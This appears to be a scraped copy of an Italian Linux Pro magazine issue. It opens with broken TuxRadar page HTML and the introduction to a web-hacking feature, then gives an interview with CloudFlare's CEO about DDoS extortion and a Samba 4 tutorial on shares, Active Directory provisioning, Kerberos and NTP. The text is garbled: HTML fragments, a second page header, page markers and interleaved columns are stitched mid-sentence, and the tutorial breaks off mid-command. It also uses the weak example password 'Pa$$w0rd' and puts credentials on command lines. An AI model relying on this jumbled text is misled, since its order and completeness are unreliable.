action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

Linux pro 130 13

DDOS “Alcuni dei maggiori attacchi da noi rilevati sono in sostanza

estorsioni online”Su una cosa, israeliani e palestinesi sono d’accordo:

la scelta di un protettore dagli attacchi DDOS. Abbiamo parlato con Matthew Prince, amministratore delegato e co-fondatore di CloudFlare, per scoprire come lotta contro i criminali online

Matthew Prince: faccia pulita ma una spaventosa conoscenza della materia...

Linux Pro: Hai visto cambiare il panorama delle minacce nel corso del tempo?Matthew Prince: insieme all’altro fondatore ho iniziato a occuparmi di sicurezza Web nel 2003, quando abbiamo avviato il progetto Honey pot. L’obiettivo era tracciare frodi e abusi online e anzitutto abbiamo voluto rilevare come gli spammer rubavano indirizzi e-mail dai siti. All’epoca, il modo migliore per guadagnare illegalmente online consisteva nell’inviare spam o nel lavorare nell’industria dei servizi spam. Direi che le cose sono cambiate. Lo spam è ancora un’attività lucrosa ma meno di un tempo. un aspetto interessante è che per evitare di essere scoperti gli spammer hanno iniziato a servirsi delle risorse dei virus writer [computer inseriti in una botnet] per inviare i loro messaggi-spazzatura. il miglioramento dei filtri anti-spam nel corso degli anni ha reso meno lucroso lo spam e ha determinato un crescente uso di queste risorse botnet allo scopo di lanciare altri tipi di attacchi. Alla radice, quindi, la minaccia che affrontiamo oggi è molto simile a quella che affrontavamo nel 2003: computer infetti usati per creare problemi. nel 2003 il problema era lo spam, nel 2013 sono gli attacchi DDoS. Le risorse usate dai criminali online per lanciare gli attacchi, però, sono rimaste molto simili a quelle di 10 anni fa.

LXP: Qual è il rischio maggiore per le aziende online?MP: Direi che c’è stato un enorme aumento sia nel numero degli attacchi [DDoS] sia nelle loro dimensioni. rileviamo abitualmente attacchi che investono la nostra rete con una potenza di oltre 50 o 60 Gbps. La nostra è una rete vasta e robusta in grado di sostenere attacchi da centinaia di GB; ma 50 o 60 Gbps sono ben oltre la capacità di traffico dei provider, compresi i più grandi. nemmeno una banca, per quanto ne so, ha un traffico del genere. È un problema difficile da fronteggiare, perché le risorse hardware utili allo scopo non sono molte. il volume e le proporzioni degli attacchi DDoS che rileviamo sono preoccupanti per molte aziende, sia per quelle più grandi ai vertici del mercato, sia per le piccole imprese che traggono da internet parte dei loro profitti.

LXP: Vi interessate alle motivazioni di questi attacchi?MP: non dedichiamo molto tempo a indagare sulle motivazioni e sugli autori, anche se i nostri clienti ci forniscono informazioni su quelle che ritengono essere le motivazioni, che variano parecchio. Alcuni attacchi hanno fini commerciali; in alcuni casi,

l’attacco viene sferrato da un concorrente. Alcuni dei maggiori attacchi a cui assistiamo sono essenzialmente estorsioni online: un criminale invia una e-mail a un sito di e-commerce (solitamente) di media grandezza con una minaccia tipo “pagateci la tale somma o vi sbattiamo fuori da internet”. Questo tipo di attacchi è in costante aumento.

Abbiamo un sito ceceno di notizie politiche attaccato dal governo russo o da qualche suo sostenitore. Abbiamo clienti in tutti gli schieramenti del conflitto mediorientale. il nostro servizio è utilizzato da siti

israeliani, palestinesi ed egiziani, tutti politicamente orientati. E WikiLeaks ha usato CloudFlare per fronteggiare una nutrita serie di attacchi DDoS. in generale, benché siano quelli di cui la stampa parla di più, gli attacchi degli attivisti non sono i più grossi a cui assistiamo. i maggiori attacchi sembrano avere una qualche forma di sostegno da parte di governi e possono avere proporzioni notevoli. Lo stesso accade con le estorsioni online. Abbiamo visto attacchi ai siti di escort: gruppi di lavoratrici del sesso hanno deciso di liberarsi dei loro protettori e questi ultimi hanno reagito. in sostanza, chiunque abbia qualcosa da guadagnare da un attacco e disponga di risorse per lanciarlo può sferrarne uno di dimensioni sufficienti a estromettere dalla rete anche organizzazioni piuttosto grandi. LXP

“Abbiamo clienti in tutti gli schieramenti del conflitto mediorientale”

LXP130_06-13_webapp 13 06/06/13 15:29

Page 16: Linuxpro 130 Giugno 2013

Samba

14 LINUX PRO 130

14 LINUX PRO 130

Per quanto amiamo Linux, la maggior parte di noi si trova prima o poi a dover convivere in una rete con sistemi Windows; e come tutti sanno, Samba

è lo strumento che permette la condivisione del filesystem tra Linux e Windows.Samba però fa molto più di questo e la sua versione 4 è pienamente compatibile con Active Directory di Windows. È una grossa novità. Da tempo Samba è in grado

di funzionare come un Domain Controller Windows NT 4.0 o di collegarsi a un dominio Windows NT 4.0 esistente; ma con il lancio di Windows 2000, Microsoft ha iniziato ad abbandonare i domain controller NT

a favore del nuovo Active Directory, allargando il fossato tra gli ecosistemi Linux e Windows. La versione 4 di Samba pone rimedio a questo annoso problema grazie a una piena compatibilità con Active

Directory. Implementa pienamente la funzione domain controller Active Directory, che costituisce un effi cace sostituto delle funzioni equivalenti della linea di prodotti Windows Server

“Samba 4 implementa pienamente la funzione domain controller Active Directory”

Il pacchetto standard di interoperabilità Windows per Linux raggiunge la versione 4 e vanta il supporto ad Active Directory

Ballare con WindowsSamba

LXP130_14-19_samba4 14 06/06/13 12:22

Page 17: Linuxpro 130 Giugno 2013

Samba

LINUX PRO 130 15

SMBFS e CIFS

Tip

Esistono due implementazioni di fi lesystem virtuali su Linux che permettono la creazione di share SMB: SMBFS e CIFS. Il secondo è più recente ed è integrato nel kernel. Gli strumenti in user space che vi occorrono per usare CIFS erano in origine parte di Samba ma ora sono inseriti in un pacchetto a parte denominato cifs-utils. La versione originale di SMBFS, anch’essa parte del pacchetto Samba, è poco apprezzata; vi conviene usare CIFS per i fi lesystem

di Samba. La conseguenza è che se volete semplicemente creare share Windows sul vostro sistema Linux, non vi occorrerà Samba. La procedura per una share Windows è semplicissima: mount -t cifs -o username=myuser,password=mypass //myserver/myshare /mntLa differenza tra CIFS e SMB può creare confusione, poiché il dialetto CIFS è più recente di SMB ma più

vecchio di SMB2, mentre CIFS è più recente di SMBFS e supporta SMB, CIFS e i nuovi dialetti SMB2 e SMB3. Per ulteriori informazioni consultate la guida client: http://pserver.samba.org/samba/ftp/cifs-cvs/linux-cifs-client-guide.pdf. Le specifi che dei protocolli SMB e CIFS sono invece disponibili ai due indirizzi Web http://msdn.microsoft.com/en-us/library/cc246482.aspx e http://msdn.microsoft.com/en-us/library/ee442092.aspx.

Non è necessario riavviare o segnalare Samba quando viene modifi cato smb.conf: le modifi che vengono rilevate automaticamente.

di Microsoft. Samba è un’implementazione Open Source del protocollo Server Message Block o SMB. Questo è un protocollo di rete a livello applicazioni originariamente sviluppato da IBM per consentire l’accesso condiviso a fi le e stampanti. Microsoft ha esteso la sua implementazione di SMB al supporto dell’autenticazione mediante i suoi protocolli NT LAN Manager (NTLM) e in seguito NTLMv2. Questa implementazione è stata battezzata Common Internet File System o CIFS. Ulteriori estensioni, tra cui il supporto per i link simbolici, sono state pubblicate nell’ambito di SMB2 insieme a Windows Vista. Samba supporta il protocollo SMB2 a partire dalla versione 3.6. Microsoft ha introdotto SMB2.1 con Windows 7 e SMB3 con Windows 8. Le diverse versioni del protocollo sono denominate ‘dialetti’, perciò CIFS e SMB2 sono dialetti del protocollo SMB. Benché i dialetti siano proprietari, le loro specifi che sono pubblicamente accessibili: una delle conseguenze dell’accordo concluso da Microsoft con il Tribunale dell’Unione Europea nel 2004 è stata la pubblicazione della documentazione completa relativa all’autenticazione di rete con Active Directory. Ciò ha portato allo sviluppo della versione 4 di Samba, al cui collaudo ha partecipato la stessa Microsoft. Active Directory (o AD) è un ambito centralizzato per l’amministrazione dei computer Windows connessi in rete. I server che utilizzano Active Directory si defi niscono domain controller. Un domain controller Active Directory (ADDC) autentica e autorizza tutti gli utenti e i computer presenti in una rete Microsoft, assegnando e applicando le politiche di sicurezza per tutti i PC e le installazioni o gli aggiornamento dei software. Per esempio, quando un utente si collega a un computer che fa parte di un dominio Windows, l’ADDC controlla la password immessa e determina se l’utente è un amministratore di sistema o un utente normale. AD utilizza le versioni 2 e 3 del protocollo d’accesso Lightweight Directory

(LDAP), Kerberos e DNS. Samba utilizza una propria implementazione del LDAP denominata ldb e non supporta l’utilizzo di OpenLDAP per Active Directory. Oggi dunque è possibile utilizzare Samba in due modi. Potete usarlo nel modo tradizionale (Samba ‘classico’), cioè come membro di un dominio o in modo indipendente, suffi ciente per impostare le share base. L’altro modo consiste nell’utilizzare Samba come un ADDC completo. La scelta dipende dalle vostre necessità; ma la prima cosa da fare è installarlo. La maggior parte delle distribuzioni lo include nei repository, sebbene l’opzione predefi nita possa essere tuttora Samba 3.6. L’alternativa consiste nel crearlo sulla base del codice sorgente, scaricabile

da www.samba.org/samba/download. Una volta installato, Samba presenta un fi le di confi gurazione denominato smb.conf, che si trova di norma in una sottodirectory come /etc/samba. La confi gurazione più semplice è quella per una share pubblica indipendente: [global] server string = Samba Server Version %v # Considera gli utenti sconosciuti come guest (ove consentito) security = user map to guest = Bad User [tmp] path = /tmp read only = No browsable = Yes guest ok = Yes force user = nobody force group = nobody create mask = 0755 directory mask = 0755In questo modo, /tmp sarà disponibile sul server come share di Samba su TCP/IP. L’uso di security = user e di map to guest permette alle share guest di funzionare in modo analogo alla famigerata modalità security = share con cui gli amministratori che utilizzano già Samba avranno forse familiarità. Un utente provvisto di un nome utente Windows non riconosciuto

da Samba non dovrà fornire credenziali per accedere alla share e verrà autenticato come utente guest. Qualunque fi le da lui creato avrà gli ID utente e gruppo impostati su nobody. Se invece il nome utente è riconosciuto da Samba, all’utente viene richiesta la password. Questo può apparire bizzarro ma è coerente con la modalità di funzionamento di Windows.Avviate il daemon di Samba, smbd, per rendere questa share accessibile su Windows. Per accedervi utilizzate Windows Explorer per raggiungere il server Samba (usate il suo nome o l’indirizzo IP). Esiste un altro protocollo di rete associato da lungo tempo alle reti Windows e che, di conseguenza, è parte integrante del pacchetto Samba: NetBIOS. Oggigiorno, con NetBIOS si intende generalmente NetBIOS su protocollo TCP/IP, che è considerato un protocollo legacy. Permette la risoluzione dei nomi e la condivisione di fi le e stampante con dispositivi privi di capacità DNS. In passato era essenziale in una rete Windows mentre oggi non è più indispensabile se non in presenza di vecchie versioni di Windows; in ogni caso, vi servirà se volete che i vostri clienti che utilizzano sistemi operativi precedenti a Windows 2000 possano accedere alle vostre share. Se non intendete usare NetBIOS, potrete esplicitarlo aggiungendo quanto segue alla sezione [global] di smb.conf: [global] # disable NetBIOS disable netbios = yes smb ports = 445Se invece doveste averne bisogno, per attivare NetBIOS dovrete apportare altre modifi che a smb.conf: [global] # NetBIOS identifi cation workgroup = WORKGROUP netbios name = MYHOST wins support = YesOrdinerete così a Samba di usare NetBIOS per farsi riconoscere sulla rete Windows nel suo gruppo di lavoro predefi nito (i dispositivi Windows utilizzano un gruppo di lavoro predefi nito denominato WORKGROUP) e di funzionare come server WINS. Il nome NetBIOS equivale a un nome host; non è indispensabile che coincida con quest’ultimo, benché l’uso sia questo. WINS è il Windows Internet Name Service, l’implementazione Microsoft di un Name Service NetBIOS, che fornisce per i nomi

“Il modo di usare Samba dipende dalle vostre necessità”

LXP130_14-19_samba4 15 06/06/13 12:22

Page 18: Linuxpro 130 Giugno 2013

Samba

16 LINUX PRO 130

Per valutare appieno le funzioni Active Directory di Samba 4 è necessario un computer che utilizzi Windows. Abbiamo installato Windows 7 Ultimate con Service Pack 1 e gli strumenti di amministrazione remota del server. Tra questi ultimi, quello necessario è Active Directory Users and Computers (l’eseguibile è dsa.msc). Per l’installazione, fate riferimento alle relative pagine Web di Windows:∆ Windows 7 Service Pack 1 www.microsoft.com/it-it/download/details.aspx?id=5842 ∆ Windows 7 RSAT

www.microsoft.com/it-it/download/details.aspx?id=7887Se volete che il sistema Windows risponda alle richieste ICMP Ping, dovrete aggiungere un’apposita regola al fi rewall di Windows (o disattivarlo). Per aggiungere una regola selezionate Start ➠ Pannello di controllo ➠ Sistema e sicurezza ➠ Windows Firewall ➠ Avanzate ➠ Regole in entrata ➠ Nuova regola. Create una regola personalizzata per il protocollo ICMPv4. Ricordate che le versioni Home e Starter di Windows non sono in grado di entrare in un dominio.

TipRelativamente all’upgrade, tenete conto che il fi le smbpasswd è stato modifi cato internamente e non può quindi essere trasferito da Samba 3.x a Samba 4.

tramite NetBIOS sia tramite TCP/IP, nel secondo caso tramite la porta 445 del server. Se il server risponde alla connessione TCP/IP, il client perde la connessione NetBIOS alla porta 139. Prevedibilmente, è possibile confi gurare le share in modo che sia necessaria l’autenticazione per accedervi. Ciò richiede un database di utenti da autenticare; è questo il primo campo in cui il sistema Active Directory si differenzia da quello classico. Samba ‘classico’ utilizza un proprio database che contiene password criptate; ma come le autorizzazioni per i fi le correlate agli utenti e ai gruppi UNIX, anche queste sono direttamente correlate agli utenti sul server.

Gli utenti di Active Directory non sono correlati agli utenti UNIX (ci torneremo sopra). Ecco come aggiungere un utente a Samba ‘classico’: # smbpasswd -a myuser New SMB password: Retype new SMB password:

NetBIOS un servizio equivalente a quello fornito da un DNS per i nomi di dominio (assegnazione dei nomi host a indirizzi di rete). Le ricerche di nomi possono risolversi anche senza un server WINS ma solo all’interno della sottorete locale; se un client non è in grado di risolvere un nome NetBIOS utilizzando un server WINS, ricorrerà all’invio di messaggi “dove sei?” sulla rete. Questo è uno dei motivi per cui gli amministratori di sistema detestano NetBIOS e per cui vi conviene disabilitarlo se non ne avete assoluto bisogno. Internet, tra l’altro, abbonda di informazioni sull’insicurezza di NetBIOS.Se NetBIOS vi serve, l’ultimo passo

per supportarlo consiste nell’avviare il processo nmbd di Samba oltre

al processo smbd. È nmbd, infatti, a gestire i nomi NetBIOS e i servizi WINS.È utile sapere come avvengono le connessioni sul lato client.

Prima di Windows 2000 le connessioni avvenivano solo via

NetBIOS, che si connette alla porta 139 del server. A partire da Windows

2000, le connessioni avvengono sia

Windows 7 test client

Quando gli orologi non sono sincronizzati possono accadere strane cose!

Per “Active Directory Users and Computer” cercate “dsa.msc” e avviatelo come amministratori

“Internet abbonda di informazioni sull’insicurezza di NetBIOS”

Forcing Primary Group to ‘Domain Users’ for myuser Forcing Primary Group to ‘Domain Users’ for myuser Added user myuser.Notate che dopo l’aggiunta di un utente a Samba, Windows richiederà l’inserimento della sua password, anche per le share guest. Per aggiungere una share legata a uno specifi co utente, per esempio una directory home, si può intervenire su smb.conf: [myuser] comment = %U home directory writable = yes valid users = myuser path = %Hoppure, più in generale, si può usare la speciale share [homes] che crea una share home per ogni utente. Quando un utente cerca di connettersi a una share, Samba cerca una defi nizione specifi ca di share come quella sopra riportata. Se non la trova ma esiste una share [homes], questa viene usata come modello per creare la share richiesta dall’utente. Trovate un esempio qui sotto: la voce browsable evita che [homes] compaia quando viene sfogliata la share.

[homes] comment = %U home directory writable = yes browsable = noUn altro tipo speciale di share è [printers]. Prevedibilmente, permette ai client Windows

di utilizzare stampanti collegate al server Samba. Utilizza CUPS per gestire le sessioni di stampa, per cui il client deve aver installato il driver della stampante richiesto, dato che è quest’ultimo a convertire il fi le da stampare in un formato di dati utilizzabile dalla stampante.

LXP130_14-19_samba4 16 06/06/13 12:23

Page 19: Linuxpro 130 Giugno 2013

Samba

LINUX PRO 130 17

TipSu https://wiki.samba.org/index.php/Samba4/videos troverete dei tutorial video con utili guide alla procedura di provisioning.

La stampa richiede una directory spool provvista di un proprio codice: # mkdir /var/spool/samba # chmod 1777 /var/spool/sambaLa necessaria confi gurazione di Samba imposta la stampa CUPS e condivide le sue stampanti su una share [printers]: [global] load printers = yes printing = cups printcap name = cups [printers] comment = Printers path = /var/spool/samba browsable = yes writable = yes printable = yes [print$] comment = Printer Drivers path = /usr/share/samba/print writable = yesLa share aggiuntiva [print$] è facoltativa e serve per Point e Print Drivers. Permette all’amministratore di caricare sul server driver di stampanti in modo che l’utente, all’installazione della stampante, non sia costretto a cercare i driver da solo. È necessario creare la directory per la share [print$] con le relative sottodirectory per il supporto delle architetture: # mkdir -p /usr/share/samba/print/{COLOR, IA64,W32ALPHA,W32MIPS,W32PPC, W32X86,WIN40,x64}Il modo più semplice per caricare un driver di stampante è farlo come amministratori collegati a un client Windows. Su Windows 7, individuate

il server (es: \\MYHOST) e cliccate su Visualizza stampanti remote. Premete Tab per visualizzare la barra dei menu e selezionate File ➠ Proprietà server. Accedete all’area Driver e cliccate su Aggiungi. Avvierete così il wizard Aggiungi driver stampante per il server. Dopo aver caricato un driver, dovrete associarlo alla stampante: individuate la stampante e aprite la sua pagina Proprietà. Nell’area Avanzate, selezionate il driver appena caricato nell’elenco a tendina. Un client Windows può aggiungere una stampante (per esempio, per aggiungere una stampante in rete in Windows 7, selezionate Start ➠ Dispositivi e stampanti ➠ Aggiungi stampante). Qualora un driver sia installato su [print$], l’installazione sarà automatica; altrimenti l’utente dovrà individuare e installare da sé il driver giusto. Diamo ora un’occhiata all’implementazione di Active Directory offerta da Samba 4. Chiariamo subito che, sebbene Samba 4 possa funzionare sia come Domain Member indipendente/NT sia come domain controller Active Directory, le due confi gurazioni sono molto diverse e in parte incompatibili.Impostare Samba come domain controller Active Directory è semplice, dato che la procedura è gestita da uno strumento di provisioning: # samba-tool domain provision Realm [MYDOMAIN.CO.UK]: Domain [MYDOMAIN]: Server Role (dc, member, standalone) [dc]: DNS backend (SAMBA_INTERNAL, BIND9_FLATFILE, BIND9_DLZ, NONE) [SAMBA_INTERNAL]: DNS forwarder IP address (write ‘none’ to

disable forwarding) [10.0.0.138]: Administrator password: Retype password:Le password devono essere adeguatamente complesse e contenere una lettera maiuscola, una cifra e almeno otto caratteri in tutto. “Pa$$w0rd” è un esempio che abbiamo usato per i nostri test, benché non sia molto sicuro. Completata la procedura di provisioning, lo strumento segnalerà l’avvenuta creazione di una confi gurazione Kerberos adatta a Samba 4. Dovrete copiare questo fi le in posizione: # cp /var/lib/samba/private/krb5.conf /etcDovrete quindi confi gurare il resolver DNS in modo che punti verso Samba, dato che si tratta anche del DNS per il nuovo dominio Windows. Per farlo, modifi cate /etc/resolv.conf oppure, se questo è stato scritto da un servizio come dhcpcd, regolate la confi gurazione del servizio. In ogni caso, /etc/resolv.conf dovrà avere questo aspetto: domain miodominio.it nameserver 127.0.0.1Samba invia le richieste che non è in grado di risolvere da sé all’indirizzo DNS specifi cato durante la procedura di provisioning. Utilizza il suo server DNS interno ma è possibile

Che cos’è esattamente Kerberos?

Kerberos è un protocollo di autenticazione di rete che utilizza un sistema di ticket per permettere alle entità di autenticarsi in modo sicuro su una rete non sicura senza trasmettersi password. È un protocollo maturo nato al MIT negli anni ’80 come soluzione per i problemi di sicurezza delle reti ed è Open Source dal 1987 (http://web.mit.edu/kerberos). È utilizzato dal domain controller Active Directory. Una connessione con Kerberos comprende tre soggetti: il client, la risorsa e un server Kerberos denominato Key Distribution Center. Il nome di Kerberos, ispirato al cane tricipite Cerbero che sorvegliava l’ingresso dell’Ade nella mitologia greca, si ricollega a questa ‘trinità’.L’autenticazione viene effettuata dal Key Distribution Center in due fasi. Dapprima, il client richiede un ‘ticket granting ticket’ (TGT). Ciò avviene di norma all’atto della connessione iniziale del client. Il TGT ha una scadenza ma può essere facilmente rinnovato all’occorrenza. La seconda fase ha luogo quando il client vuole accedere a una risorsa protetta da Kerberos. Il TGT viene rinviato al server, che lo convalida e restituisce al client un ticket che gli dà accesso alla risorsa richiesta. Questa è solo una semplifi cazione di una procedura complessa illustrata da una presentazione video visibile su www.youtube.com/watch?v=KD2Q-2ToloE. In un dominio Active Directory, il Key Distribution Center di Kerberos è un servizio di rete fornito dal domain controller Active Directory.

LXP130_14-19_samba4 17 06/06/13 12:23

Page 20: Linuxpro 130 Giugno 2013

Samba

18 LINUX PRO 130

confi gurarlo in modo che usi invece un DNS BIND. Dato però che il server interno offre gratuitamente numerose funzioni, non è il caso di usare il secondo metodo a meno di averne assoluta necessità. Ultimata la confi gurazione, potrete avviare il domain controller ed effettuare qualche test. La modalità Active Directory usa un nuovo binario samba in luogo del normale smbd. Nel seguente modo potrete avviarlo in foreground durante il test: # samba -i -M single miodominio Copyright Andrew Tridgell and the Samba Team 1992-2012 samba: using ‘single’ process model # host -t SRV _ldap._tcp.miodominio.it _ldap._tcp.miodominio.it has SRV record 0 100 389 myhost.miodominio.it # host -t SRV _kerberos._udp.miodominio.it _kerberos._udp.mydomain.co.uk has SRV record 0 100 88 myhost.miodominio.it # host -t A myhost.miodominio.it host -t A myhost.miodominio.itEffettuate quindi il test su Kerberos (inserendo la password di amministratore richiesta): # kinit [email protected] Password for [email protected]: # klist

Ticket cache: FILE:/tmp/krb5cc_0 Default principal: [email protected] Valid starting Expires Service principal 08/02/13 16:25:31 09/02/13 02:25:31 krbtgt/ [email protected] renew until 09/02/13 16:25:21A questo punto sarete in grado di visualizzare le share di Samba e di accedervi: $ smbclient -L localhost -U% Domain=[miodominio] OS=[Unix] Server=[Samba 4.0.3] Sharename Type Comment ----------- ----- ---------- netlogon Disk sysvol Disk IPC$ IPC IPC Service (Samba 4.0.3) $ smbclient //localhost/netlogon -UAdministrator%'Pa$$w0rd’ -c ‘ls’ Domain=[miodominio] OS=[Unix] Server=[Samba 4.0.3] . D 0 Thu Feb 7 20:06:55 2013 .. D 0 Thu Feb 7 20:08:44 2013Un altro servizio offerto da un domain controller Active Directory è la sincronizzazione temporale.

Si tratta di un servizio facoltativo che tuttavia è opportuno utilizzare perché Kerberos è molto sensibile alle variazioni temporali tra i client e il server. Il cosiddetto Windows Time Service fornito da un domain controller è un protocollo Network Time (NTP) con estensioni per l’autenticazione. Sono disponibili varie implementazione di NTP per Linux, come ntpd e open-ntpd, ma solo la versione 4.2.6 di ntpd supporta le necessarie estensioni di autenticazione e questo soltanto se il supporto in questione è stato compilato (controllate la vostra versione di ntpd con ntpd --version). Un ntpd confi gurato correttamente chiederà a Samba di effettuare tutte le autenticazioni necessarie. La confi gurazione di ntpd va inserita in /etc/ntpd.conf. Ecco un esempio: server 127.127.1.0 fudge 127.127.1.0 stratum 12 ntpsigndsocket /var/lib/samba/ntp_signd/ restrict default mssntpLe righe importanti, che potrebbero mancare nel fi le ntpd.conf esistente, sono le ultime due. La voce ntpsigndsocket defi nisce il percorso della directory in cui Samba inserisce il fi le socket, attraverso il quale riceverà le richieste di autenticazione. La voce restrict comunica a ntpd che le richieste in arrivo devono essere autenticate. Il percorso del fi le socket è determinato dalla confi gurazione di Samba e potete confermare il percorso corretto in questo modo: # samba-tool testparm --verbose --suppressprompt | grep “ntp signd socket directory” ntp signd socket directory = /var/lib/samba/ntp_signdÈ Samba a creare la directory del fi le socket ma è importantissimo verifi care che possa essere modifi cata da ntpd. Se ntpd utilizza uid:gid o ntp:ntp, dovrete adattare il gruppo

Samba Web Administration Tool (SWAT) esiste ancora ma non è stato aggiornato

LXP130_14-19_samba4 18 06/06/13 12:23

Page 21: Linuxpro 130 Giugno 2013

Samba

LINUX PRO 130 19

della directory anche a ntp. Riavviate ntpd per verifi care che le modifi che di confi gurazione siano state recepite e controllate se il suo fi le log contiene l’avvertimento che ntpd è stato confi gurato, in fase di compilazione, senza l’opzione --enable-ntp-signd. Se trovate questo messaggio signifi ca che il vostro ntpd non supporta il meccanismo di autenticazione richiesto. Dovrete procurarvi i codici sorgente di ntpd e ricompilarlo in modo che comprenda la suddetta opzione di confi gurazione. Purtroppo non esistono strumenti per testare l’autenticazione NTP da Linux. Per verifi carla da un computer Windows membro del dominio, aprite il prompt dei comandi come amministratori (cliccate su Start, digitate cmd e quindi cliccate con il tasto destro del mouse sulla voce del prompt dei comandi nei risultati della ricerca per selezionare Avvia come amministratore) e inserite

C:\> w32tm /resync Sending resync command to local computer The command completed successfully.Prima di connettere un client Windows al nuovo dominio, modifi cate la sua confi gurazione di rete in modo tale che utilizzi il DNS di Samba. Vi converrà inoltre regolare manualmente l’orologio del client in modo che corrisponda a quello del domain controller, secondo più secondo meno. Se gli orologi non sono sincronizzati, potrebbero essere riportati errori privi di relazione con il vero problema. Il Windows Time Service manterrà sincronizzati gli orologi una volta che il client sarà divenuto membro del dominio. Per aggiungere il client al dominio, selezionate Start � Risorse

del computer, cliccate con il tasto destro del mouse e scegliete Proprietà � Cambia impostazioni. Visualizzerete così la fi nestra di dialogo Cambia impostazioni Nome computer / Dominio, dove dovrete selezionare Dominio nella sezione Membro di e inserire il nome del dominio Samba (per esempio mydomain) per poi cliccare su OK. Potrebbero essere richieste le credenziali dell’account dell’amministratore (se avete seguito i nostri esempi, il nome utente è Administrator e la password ‘Pa$$w0rd’). L’amministrazione del dominio può essere effettuata localmente sul server mediante l’utility per la riga di comando samba-tool oppure in remoto da un computer Windows collegato al dominio. L’amministratore, utilizzando un PC opportunamente confi gurato, potrà utilizzare lo strumento Active Directory Users and Computer. Questo permette

il pieno controllo su utenti e computer e funziona esattamente come l’amministrazione di Active Directory

di Windows. L’aggiunta di nuovi utenti ad AD va effettuata in modo diverso rispetto al caso di Samba ‘classico’ (che usa smbpasswd) ma è più fl essibile, potendo essere effettuata dal prompt dei comandi del server mediante samba-tool o in remoto da Windows con Active Directory Users and Computer. Quando vengono creati utenti AD, questi non hanno relazione con gli utenti esistenti in /etc/passwd poiché ricevono numeri uid diversi. Il numero uid assegnato può essere modifi cato e farlo è piuttosto semplice: # wbinfo --name-to-sid myuser S-1-5-21-4099219672-1275272411- 291422405-1104 SID_USER (1) # ldbedit -H idmap.ldb cn=S-1-5-21-

